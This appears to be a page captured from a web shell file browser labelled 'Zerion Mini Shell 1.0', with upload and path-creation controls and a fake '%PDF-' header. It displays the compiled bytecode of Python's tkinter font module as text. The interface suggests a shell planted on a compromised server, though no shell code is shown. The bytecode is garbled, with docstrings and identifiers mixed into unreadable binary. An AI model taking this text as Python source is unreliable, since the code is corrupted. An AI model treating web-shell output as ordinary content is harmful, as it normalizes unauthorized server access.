%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/tkinter/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/tkinter/__pycache__/font.cpython-38.pyc

U

na@@szdZddlZddlZdZdZdZdZddZGd	d
d
Zd ddZ	d!d
dZ
edkrveZ
eddedZeeeedeedeeeedeedee
eededeeje
deddZeedejde
deje
dedZeeje
de
jdZeeeddZejedejededS)"z0.9NZnormalZromanboldZitaliccCst|ddS)zFGiven the name of a tk named font, returns a Font representation.
    T)nameexists)Fontrr(/usr/local/lib/python3.8/tkinter/font.py
nametofontsr	c@seZdZdZedZddZddZddZ	d#ddZ
d
dZddZddZ
ddZddZddZd$ddZddZddZeZd%dd Zd!d"Zd	S)&raRepresents a named font.

    Constructor options are:

    font -- font specifier (name, system font, or (family, size, style)-tuple)
    name -- name to use for this font configuration (defaults to a unique name)
    exists -- does a named font by this name already exist?
       Creates a new named font if False, points to the existing font if True.
       Raises _tkinter.TclError if the assertion is false.

       the following are ignored if font is specified:

    family -- font 'family', e.g. Courier, Times, Helvetica
    size -- font size in points
    weight -- font thickness: NORMAL, BOLD
    slant -- font slant: ROMAN, ITALIC
    underline -- font underlining: false (0), true (1)
    overstrike -- font strikeout: false (0), true (1)

    cCs:g}|D]$\}}|d||t|qt|SN-)itemsappendstrtuple)selfkwoptionskvrrr_set1s
z	Font._setcCs$g}|D]}|d|qt|Sr)rr)rargsrrrrr_get8sz	Font._getcCs:i}tdt|dD] }||d|||dd<q|S)Nrr
)rangelen)rrrirrr_mkdict>szFont._mkdictNFcKs|std}t|d|}|r4||dd|}n
||}|sTdtt|j}||_	|rd|_
|j	||ddkrtjd|j	f|r|jdd|j	f|n|jdd	|j	f|d
|_
||_
|j|_|j|_dS)Nzuse fonttkfontactualFnamesz$named font %s does not already exist	configureZcreateT)tkinter_get_default_rootgetattr	splitlistcallrrnextcounterrdelete_fontZ_tkinterZTclError_tk_split_call)rrootrrrrrrrr__init__Ds,


z
Font.__init__cCs|jSNrrrrr__str__cszFont.__str__cCs&t|tstS|j|jko$|j|jkSr0)
isinstancerNotImplementedrr+)rotherrrr__eq__fs
zFont.__eq__cCs
||Sr0)cget)rkeyrrr__getitem__kszFont.__getitem__cCs|jf||idSr0)r")rr8valuerrr__setitem__nszFont.__setitem__cCs4z|jr|dd|jWntk
r.YnXdS)Nrdelete)r*r-r	Exceptionr1rrr__del__qs
zFont.__del__cCst|jf|S)z*Return a distinct copy of the current font)rr+r r1rrrcopyxsz	Font.copycCs^d}|rd|f}|r8|d|f}|jdd|jf|S|||jdd|jf|SdS)zReturn actual font attributesr
-displayofrrr N)r-rrr,)roption	displayofrrrrr |szFont.actualcCs|dd|jd|S)zGet font attributerconfigr)r-r)rrArrrr7sz	Font.cgetc	KsB|r"|jdd|jf||n|||dd|jSdS)zModify font attributesrrCN)r-rrrr,)rrrrrrCszFont.configcCs2|f}|rd||f}|j|jdd|jf|S)zReturn text widthr@rmeasure)r+getintr-r)rtextrBrrrrrDs
zFont.measurecOsd}|dd}|rd|f}|rL|||}|j|jdd|jf|S||jdd|jf|}i}tdt|dD](}|j||d	|||d	d<q||SdS)
z}Return font metrics.

        For best performance, create a dummy widget
        using this font before calling this method.rrBNr@rmetricsrrr
)	poprr+rEr-rr,rr)rrrrrBresrrrrrGs&zFont.metrics)NNNF)NN)N)__name__
__module____qualname____doc__	itertoolscountr)rrrr/r2r6r9r;r>r?r r7rCr"rDrGrrrrrs$


	
rcCs6|std}d}|rd|f}|j|jjd|S)zGet font families (as a tuple)zuse font.families()rr@rfamilies)rrPr#r$rr&r')r.rBrrrrrPs
rPcCs$|std}|j|jddS)z'Get names of defined fonts (as a tuple)zuse font.names()rr!rQ)r.rrrr!s
r!__main__times)familysizeweightrUrWZhelloZ	linespace)rB)ZCourierr)rzHello, world)rFrzQuit!)rFZcommandr)rW)NN)N)__version__rNr#ZNORMALZROMANZBOLDZITALICr	rrPr!rJZTkr.fprintr rCr7rDrGZLabelwpackZButtonZdestroyr?ZfbZmainlooprrrr<module>sB








Zerion Mini Shell 1.0